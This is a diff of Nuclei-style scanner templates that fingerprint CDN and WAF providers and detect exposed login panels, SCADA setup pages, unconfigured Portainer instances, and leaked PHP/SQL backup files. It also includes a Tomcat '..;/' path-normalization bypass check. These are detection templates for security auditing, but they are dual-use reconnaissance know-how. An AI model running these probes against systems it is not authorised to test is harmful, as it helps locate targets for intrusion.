+          - ".nscloudwaf.com"
+
+      - type: word
+        name: wangsu
+        words:
+          - ".wsssec.com"
+          - ".lxdns.com"
+          - ".wscdns.com"
+          - ".cdn20.com"
+          - ".cdn30.com"
+          - ".ourplat.net"
+          - ".wsdvs.com"
+          - ".wsglb0.com"
+          - ".wswebcdn.com"
+          - ".wswebpic.com"
+          - ".wsssec.com"
+          - ".wscloudcdn.com"
+          - ".mwcloudcdn.com"
+
+      - type: word
+        name: qianxin
+        words:
+          - ".360safedns.com"
+          - ".360cloudwaf.com"
+
+      - type: word
+        name: baiduyunjiasu
+        words:
+          - ".yunjiasu-cdn.net"
+
+      - type: word
+        name: anquanbao
+        words:
+          - ".anquanbao.net"
+
+      - type: regex
+        name: aliyun
+        regex:
+          - '\.w\.kunlun\w{2,3}\.com'
+
+      - type: regex
+        name: aliyun-waf
+        regex:
+          - '\.aliyunddos\d+\.com'
+          - '\.aliyunwaf\.com'
+          - '\.aligaofang\.com'
+          - '\.aliyundunwaf\.com'
+
+      - type: word
+        name: xuanwudun
+        words:
+          - ".saaswaf.com"
+          - ".dbappwaf.cn"
+
+      - type: word
+        name: yundun
+        words:
+          - ".hwwsdns.cn"
+          - ".yunduncname.com"
+
+      - type: word
+        name: knownsec-ns
+        words:
+          - ".jiasule.net"
+
+      - type: word
+        name: chuangyudun
+        words:
+          - ".365cyd.net"
+
+      - type: word
+        name: qianxin
+        words:
+          - ".360wzb.com"
+
+      - type: word
+        name: anquanbao
+        words:
+          - ".anquanbao.com"
+
+      - type: word
+        name: wangsu
+        words:
+          - ".chinanetcenter.com"
+
+      - type: word
+        name: baiduyunjiasue
+        words:
+          - ".ns.yunjiasu.com"
+
+      - type: word
+        name: chinacache
+        words:
+          - ".chinacache.com"
+
+      - type: word
+        name: cloudflare
+        words:
+          - "ns.cloudflare.com"
+
+      - type: word
+        name: edns
+        words:
+          - ".iidns.com"

exposed-panels/bitrix-panel.yaml

@@ -0,0 +1,27 @@
+id: bitrix-login
+
+info:
+  name: Bitrix Login Panel
+  author: juicypotato1
+  severity: info
+  tags: panel,bitrix
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/bitrix/admin/"
+
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "USER_LOGIN"
+          - "/bitrix/js/main/"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

exposed-panels/circarlife-setup.yaml

@@ -0,0 +1,30 @@
+id: circarlife-setup
+
+info:
+  name: Exposed CirCarLife Setup Page
+  author: geeknik
+  description: CirCarLife is an internet-connected electric vehicle charging station
+  reference: https://circontrol.com/
+  severity: critical
+  tags: scada,circontrorl,circarlife,setup,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/setup.html"
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        words:
+          - "<title>- setup</title>"
+          - "Network setup"
+          - "Modem setup"
+          - "Security setup"
+        condition: and
+      - type: status
+        status:
+          - 200

exposed-panels/clave-login-panel.yaml

@@ -0,0 +1,23 @@
+id: clave-login-panel
+
+info:
+  name: Clave login panel
+  author: __Fazal
+  severity: info
+  tags: panel,clave
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin.php'
+
+    redirects: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Clave"

exposed-panels/cx-cloud-login.yaml

@@ -0,0 +1,18 @@
+id: cx-cloud-login
+
+info:
+  name: CX Cloud
+  author: dhiyaneshDk
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+      - '{{BaseURL}}/cxcum/'
+
+    matchers:
+      - type: word
+        words:
+          - "<title>CX Cloud</title>"

exposed-panels/ems-login-panel.yaml

@@ -0,0 +1,22 @@
+id: ems-login-panel
+
+info:
+  name: EMS Login page detection
+  author: __Fazal
+  severity: info
+  tags: panel,ems
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/EMSWebClient/Login.aspx'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "EMS Web Client - Login"

exposed-panels/exposed-nomad.yaml

@@ -0,0 +1,30 @@
+id: exposed-nomad
+
+info:
+  name: Exposed Nomad Jobs
+  author: pdteam
+  severity: high
+  tags: nomad,devops,hashicorp
+  reference: https://www.nomadproject.io/docs/internals/security
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ui/jobs"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Nomad"
+          - "nomad-ui"
+        condition: and
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200

exposed-panels/jenkins-login.yaml

@@ -0,0 +1,21 @@
+id: jenkins-login
+
+info:
+  name: Jenkins Login
+  author: pdteam
+  severity: info
+  tags: panel,jenkins
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Sign in [Jenkins]'
+      - type: status
+        status:
+          - 200

exposed-panels/kubernetes-dashboard.yaml

@@ -4,7 +4,7 @@ info:
   name: Kubernetes Console Exposure
   author: pdteam
   severity: low
-  tags: panel
+  tags: panel,kubernetes,devops
 
 requests:
   - method: GET
@@ -13,4 +13,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "Kubernetes Dashboard</title>"
+          - "Kubernetes Dashboard</title>"

exposed-panels/lancom-router-panel.yaml

@@ -0,0 +1,22 @@
+id: lancom-router-panel
+
+info:
+  name: Lancom Router Panel
+  author: __Fazal
+  severity: info
+  tags: panel,lancom
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "LANCOM 1790VA-4G"

exposed-panels/magento-admin-panel.yaml

@@ -0,0 +1,25 @@
+id: magento-admin-panel
+
+info:
+  name: Exposed Magento Admin Panel
+  author: TechbrunchFR
+  severity: info
+  description: As a security best practice, Magento recommends that you use a unique, custom Admin URL instead of the default admin or a common term such as backend. Although it will not directly protect your site from a determined bad actor, it can reduce exposure to scripts that try to gain unauthorized access.
+  reference: https://docs.magento.com/user-guide/stores/store-urls-custom-admin.html
+  tags: magento
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+
+      - type: word
+        words:
+          - "/admin/index/index/key/"
+        part: header

exposed-panels/microsoft-exchange-control-panel.yaml

@@ -0,0 +1,24 @@
+id: microsoft-exchange-control-panel
+
+info:
+  name: Microsoft Exchange Control Panel
+  author: r3dg33k
+  severity: info
+  description: Publicly accessible Microsoft Exchange Server Control Panel
+  tags: microsoft,panel
+  reference: https://docs.microsoft.com/en-us/answers/questions/58814/block-microsoft-exchange-server-2016-exchange-admi.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/owa/auth/logon.aspx?replaceCurrent=1&url={{BaseURL}}/ecp"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'Exchange Admin Center'

exposed-panels/monitorix-exposure.yaml

@@ -0,0 +1,28 @@
+id: monitorix-exposure
+info:
+  name: Monitorix
+  author: geeknik
+  description: Monitorix is a free, open source, lightweight system monitoring tool designed to monitor as many services and system resources as possible.
+  reference: https://www.monitorix.org/
+  severity: low
+  tags: monitorix,exposure,logs
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/monitorix-cgi/monitorix.cgi?mode=localhost&graph=all&when=1day"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<!-- graph table begins -->"
+          - "Global kernel usage</b>"
+          - "Kernel usage per processor</b>"
+          - "<!-- graph table ends -->"
+          - "1day.png'"
+        condition: and
+      - type: status
+        status:
+          - 200

exposed-panels/netscalar-aaa-login.yaml

@@ -0,0 +1,17 @@
+id: netscalar-aaa-login
+
+info:
+  name: NetScalar AAA Login Panel
+  author: dhiyaneshDk
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6898
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/logon/LogonPoint/tmindex.html'
+    matchers:
+      - type: word
+        words:
+          - "NetScaler AAA</title>"
+        condition: and

exposed-panels/open-stack-dashboard-login.yaml

@@ -2,15 +2,17 @@ id: open-stack-dashboard-login
 
 info:
   name: OpenStack Dashboard
-  author: dhiyaneshDK
+  author: dhiyaneshDK & hackergautam
   severity: info
   reference: https://www.exploit-db.com/ghdb/6464
-  tags: panel
+  tags: panel,openstack
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/dashboard/auth/login/'
+      - '{{BaseURL}}/horizon/auth/login/?next=/horizon/'
+
     redirects: true
     matchers-condition: and
     matchers:

exposed-panels/openerp-database.yaml

@@ -0,0 +1,22 @@
+id: openerp-database
+
+info:
+  name: OpenERP database instances
+  author: impramodsargar
+  severity: info
+  tags: openerp
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web/database/selector/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>Odoo</title>'
+
+      - type: status
+        status:
+          - 200

exposed-panels/phppgadmin-panel.yaml

@@ -0,0 +1,19 @@
+id: phppgadmin-panel
+
+info:
+  name: phpPgAdmin Panel
+  author: Ganofins
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/phppgadmin/"
+    matchers:
+      - type: word
+        words:
+          - "phpPgAdmin"
+          - "browser.php"
+          - "intro.php"
+        condition: and

exposed-panels/plesk-obsidian.yaml

@@ -0,0 +1,23 @@
+id: plesk-obsidian
+
+info:
+  name: Plesk Obsidian
+  author: dhiyaneshDK
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6951
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login_up.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Plesk Obsidian'
+
+      - type: status
+        status:
+          - 200

exposed-panels/plesk-onyx.yaml

@@ -17,7 +17,7 @@ requests:
       - type: word
         words:
           - 'Plesk Onyx'
-          - 'Plesk Obsidian'
+
       - type: status
         status:
           - 200

exposed-panels/portainer-init-deploy.yaml

@@ -0,0 +1,26 @@
+id: portainer-init-deploy
+info:
+  name: Portainer Init Deploy
+  author: princechaddha
+  severity: high
+  tags: portainer,exposure,docker,devops
+  reference: https://documentation.portainer.io/v2.0/deploy/initial/
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/users/admin/check"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "No administrator account found inside the database"
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: status
+        status:
+          - 404

exposed-panels/saferoads-vms-login.yaml

@@ -0,0 +1,17 @@
+id: saferoads-vms-login
+
+info:
+  name: Saferoads VMS Login
+  author: dhiyaneshDk
+  severity: info
+  tags: login
+  reference: https://www.exploit-db.com/ghdb/6941
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login.html'
+    matchers:
+      - type: word
+        words:
+          - 'Saferoads VMS'

exposed-panels/securenvoy-panel.yaml

@@ -1,20 +1,23 @@
-id: detect-springboot-actuator
+id: securenvoy-panel
 
 info:
-  name: Detect Springboot Actuators
-  author: that_juan_ & dwisiswant0 & wdahlenb
+  name: SecurEnvoy Admin Login
+  author: 0xrod
   severity: info
+  tags: panel
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/actuator"
+      - "{{BaseURL}}/secadmin/"
+
     matchers-condition: and
     matchers:
       - type: word
-        part: body
         words:
-          - '{"_links":{"self"'
+          - '<base href="/secadmin/">'
+        part: body
+
       - type: status
         status:
-          - 200
+          - 200

exposed-panels/server-backup-login.yaml

@@ -0,0 +1,22 @@
+id: server-backup-login
+
+info:
+  name: Server Backup Manager SE Login
+  author: dhiyaneshDK
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6949
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login.zul'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>Idera Server Backup Manager SE  </title>'
+      - type: status
+        status:
+          - 200

exposed-panels/servicedesk-login-panel.yaml

@@ -0,0 +1,23 @@
+id: servicedesk-login-panel
+
+info:
+  name: Servicedesk Login Panel Detector
+  author: aashiq
+  severity: info
+  description: Searches for ServiceDesk login panels by trying to query the "/servicedesk/customer/user/login" endpoint
+  tags: servicedesk,confluence,jira,panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/servicedesk/customer/user/login"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "https://confluence.atlassian.com"

exposed-panels/sharecenter-login.yaml

@@ -0,0 +1,18 @@
+id: sharecenter-login
+
+info:
+  name: ShareCenter Login Page
+  author: dhiyaneshDk
+  severity: info
+  reference: https://www.exploit-db.com/ghdb/6892
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+    matchers:
+      - type: word
+        words:
+          - "ShareCenter"
+          - "Please Select Your Account"
+        condition: and

exposed-panels/synnefo-admin-panel.yaml

@@ -0,0 +1,22 @@
+id: synnefo-admin-panel
+
+info:
+  name: Synnefo Admin Panel Exposure
+  author: impramodsargar
+  severity: info
+  tags: panel,synnefo
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/synnefoclient/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>Synnefo Admin</title>'
+
+      - type: status
+        status:
+          - 200

exposed-panels/tomcat-manager-pathnormalization.yaml

@@ -1,4 +1,5 @@
 id: tomcat-manager-pathnormalization
+
 info:
   name: Tomcat Manager Path Normalization
   author: organiccrap
@@ -11,11 +12,17 @@ requests:
     path:
       - '{{BaseURL}}/..;/manager/html'
       - '{{BaseURL}}/..;/host-manager/html'
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - username="tomcat" password="s3cret"
-          - manager-gui
+          - 'username="tomcat" password="s3cret"'
+          - 'manager-gui'
         condition: and
+
+      - type: status
+        status:
+          - 403
+          - 401
+        negative: true

exposed-panels/zenario-login-panel.yaml

@@ -0,0 +1,22 @@
+id: zenario-login-panel
+
+info:
+  name: Zenario Admin login
+  author: __Fazal
+  severity: info
+  tags: panel,zenario
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/zenario/admin/welcome.php'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Welcome to Zenario"

exposures/backups/exposed-mysql-initial.yaml

@@ -0,0 +1,24 @@
+id: exposed-mysql-initial
+
+info:
+  name: Exposed mysql.initial
+  author: ELSFA7110
+  severity: info
+  reference: https://hackerone.com/reports/1081817
+  tags: config,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/mysql.initial.sql"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Roundcube Webmail initial database structure"
+        part: body
+
+      - type: status
+        status:
+          - 200

exposures/backups/php-backup-files.yaml

@@ -0,0 +1,51 @@
+id: php-backup-files
+
+info:
+  name: PHP source disclosure through backup files
+  author: StreetOfHackerR007 (Rohit Soni)
+  severity: medium
+  tags: exposure,backup,php
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php.bak"
+      - "{{BaseURL}}/default.php.bak"
+      - "{{BaseURL}}/main.php.bak"
+      - "{{BaseURL}}/config.php.bak"
+      - "{{BaseURL}}/settings.php.bak"
+      - "{{BaseURL}}/header.php.bak"
+      - "{{BaseURL}}/footer.php.bak"
+      - "{{BaseURL}}/login.php.bak"
+      - "{{BaseURL}}/database.php.bak"
+      - "{{BaseURL}}/db.php.bak"
+      - "{{BaseURL}}/conn.php.bak"
+      - "{{BaseURL}}/db_config.php.bak"
+      - "{{BaseURL}}/404.php.bak"
+      - "{{BaseURL}}/wp-config.php.bak"
+      - "{{BaseURL}}/wp-login.php.bak"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<?php"
+          - "<?="
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "?>"
+        part: body
+
+      - type: word
+        words:
+          - "text/plain"
+          - "bytes"
+        part: header
+        condition: or

exposures/backups/sql-dump.yaml

@@ -30,12 +30,15 @@ requests:
       - "{{BaseURL}}/wp-content/uploads/dump.sql"
     headers:
       Range: "bytes=0-3000"
+
+    max-size: 2000 # Size in bytes - Max Size to read from server response
     matchers-condition: and
     matchers:
       - type: regex
         regex:
           - "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO"
         part: body
+
       - type: status
         status:
           - 200

exposures/backups/zip-backup-files.yaml

@@ -32,6 +32,8 @@ requests:
       - "{{BaseURL}}/{{Hostname}}.sql.zip"
       - "{{BaseURL}}/{{Hostname}}.sql.z"
       - "{{BaseURL}}/{{Hostname}}.sql.tar.z"
+
+    max-size: 500 # Size in bytes - Max Size to read from server response
     matchers-condition: and
     matchers:
       - type: binary
@@ -49,10 +51,12 @@ requests:
           - "504B0304"  # zip
         condition: or
         part: body
+
       - type: regex
         regex:
           - "application/[-\\w.]+"
         part: header
+
       - type: status
         status:
           - 200

exposures/configs/amazon-docker-config-disclosure.yaml

@@ -4,7 +4,7 @@ info:
   name: Dockerrun AWS Configuration Exposure
   author: pdteam
   severity: medium
-  tags: config,exposure,aws
+  tags: config,exposure,aws,devops
 
 requests:
   - method: GET
@@ -15,4 +15,4 @@ requests:
         words:
           - 'AWSEBDockerrunVersion'
           - 'containerDefinitions'
-        condition: and
+        condition: and